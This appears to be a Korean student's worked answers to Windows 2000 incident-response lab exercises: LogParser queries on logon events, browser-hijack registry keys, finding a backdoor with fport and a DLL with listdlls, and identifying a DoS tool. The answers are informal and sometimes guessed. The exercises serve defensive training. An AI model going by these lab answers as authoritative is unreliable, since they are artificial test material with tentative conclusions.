※C:LogParser를 사용하시오
피해 시스템에서 가져온 보안 이벤트 로그(C:sec_security.evt)를 분석하여
아래 질문에 답하시오. (시간은 `2004-11-24 19:30:29` 의 형태로 입력해야 함.)
1. 최초 침입자가 시스템에 네트워크로 로그온 성공한 시간과 사용자명,
컴퓨터 이름은 무엇인가?
=>
네트워크 로그온 이벤트 ID : 540
logparser "select * from sec_security.evt where eventid = 540" -o:csv > 515.csv
[로그온 성공한 시간] : 2003-08-13 20:07:24
[사용자명] : admin
[컴퓨터 이름] : SHANLUZ
Burst-Force Attack 성공 EventID : 680, 576, 540, 538
네트워크 로그온 command session 연결 성공 EventID : 680, 576, 540, 515
2. 원격 로그온에 사용된 프로세서는 무엇인가?
=> psexesvc.exe
3. 두 번째 침입자가 시스템에 네트워크로 로그온 성공한 시간과 사용자명,
컴퓨터 이름은 무엇인가?
[로그온 성공한 시간] :2003-08-13 20:24:25
[사용자명] : admin
[컴퓨터 이름] : UHUHLY
4. 원격 로그온에 사용된 프로세서의 윈도우 서비스 명은 무엇인가?
=>Tlntsvr.exe
18.인터넷 익스플로어 악성 프로그램 대응
1. 인터넷 익스플로어를 실행할 때마다 인터넷 옵션의
시작 페이지를 http://www.sis.or.kr 로 변경하였음에도 불구하고
http://movie2.ce.ro/로 계속 변경 되고 있다.
시작 페이지와 관련된 레지스트리 값을 모두 찾아
http://www.sis.or.kr로 변경하여라.
2. 인터넷 익스플로어 주소창에 등록되지 않은 도메인을 입력할 경우
원하지 않는 사이트(http://prosearching.com)로 이동되고 있다.
위와 관련된 레지스트리 값을 모두 찾아 www.sis.or.kr로 변경하라.
=> 아래에 나와있는 레지스트리를 찾아서 바꾸면된다.
혹은 검색해서 변경해도 결과는 같다.
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\CustomizeSearch
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Search Page
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\CustomizeSearch
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Search Page
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\SearchAssistant
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page
19.악성 프로그램 대응서비스
윈도우 2000 Server 시스템이 해킹 당한 것으로 의심되었다.
백신 프로그램으로 바이러스 감염여부를 조사하였지만 특별한 이상은 없었다.
시스템 관리자가 유심히 지켜본 결과 특정 네트워크 포트를 통해 시스템에
지속적으로 접근한다는 사실과 서버를 재 부팅하여도
계속적으로 동일한 현상이 발생한다는 것을 알았다.
1. 침입자가 설치한 백도어 파일 이름과 백도어 포트는 무엇인가?
※C:fport를 사용하시오
fport 를 실행시키면
pid3388 / c:\windows\system32\ismshrv.exe 이녀석이 실행되고 있음.
20.악성 프로그램 대응dll
윈도우 2000 Server 시스템이 해킹 당한 것으로 의심되었다.
백신 프로그램으로 바이러스 감염여부를 조사하였지만 특별한 이상이 없고,
윈도우 작업 관리자를 통해 실행중인 프로세서 목록을 점검하여도 의심될 만한
프로그램이 없었다. 시스템 관리자가 유심히 지켜본 결과 침입자가
동적 연결 파일(Dynamic Linking Library File)를 이용한다는 것과
서버를 재 부팅하여도 계속적으로 동일한 현상을 발생 시킨다는 것을 알았다.
또한 특정한 외부 웹 서버로 일정 시간마다 SYN패킷을 보내고 있다는 것도 알았다.
1. 악성 프로그램이 이용하고 있는 서비스 이름과 DLL 파일, 포트는 무엇인가?
※C:\listdlls를 사용하시오
listdlls -? //도움말을 볼 수 있다.
시간이 너무 오래 걸려서 explorer만 확인해보았다.
c:> listdlls explorer.exe
hgfs.dll 만 버젼 정보가 나오지 않는다.. 수상한것으로 판단했다.
나머지 이런것들도 있단다.
iexplorer.dll
explorer.dll
msexcel.dll
21.악성 프로그램 대응.bat 레지스트리 실행
네트워크 관리자로부터 현재 사용중인 Windows 컴퓨터가 이상 트래픽이
발생된다는 보고를 받았다. CPU 사용률이나 메모리 점유율이 평소와 크게
차이가 없고, netstat 명령을 이용하여 네트워크 접속 상황을 점검하여도
특이할 사항이 발견되지 않았다. 그러나 윈도우 배치프로그램 실행할 때마다 동시에
알지 못할 프로세서가 시작된다는 것을 알았다.
1. 악성 프로그램 실행(.exe) 파일의 Original Filename은 무엇인가?
2. 악성 프로그램 제작자의 Messenger ID는 무엇인가?
3. 악성 프로그램이 변경한 시스템 환경을 원래대로 복구 하여라.
※C:\exefileinfo, Process Explorer등을 사용하시오
=> 프로세스 익스플로러를 실행시킨다.
윈도우 배치 프로그램이 수상하다 했으니 system32\ 파일을 검색해보자
3개에 배치파일일 검색된다.
ready.bat
start.bat
parsng.bat
ready.bat을 실행 시키로 프로세스 익스플로러를 확인해 보니
igmp.exe 라는 프로그램이 지속적으로 실행 종료를 반복하고 있다.
igmp.exe 프로그램도 system32\ 폴더에 있다.
exefileinfo 프로그램을 이용하여 igmp.exe를 열어보면
제일 아래쪽에 파일 설명이 나와있다.
파일 설명 : port of kiss of death dos attack to windows
버젼 : 1.2.0.0
저작권 : Kalibre (metinsdr@hotmail.com)
최초파일명 : bomba.exe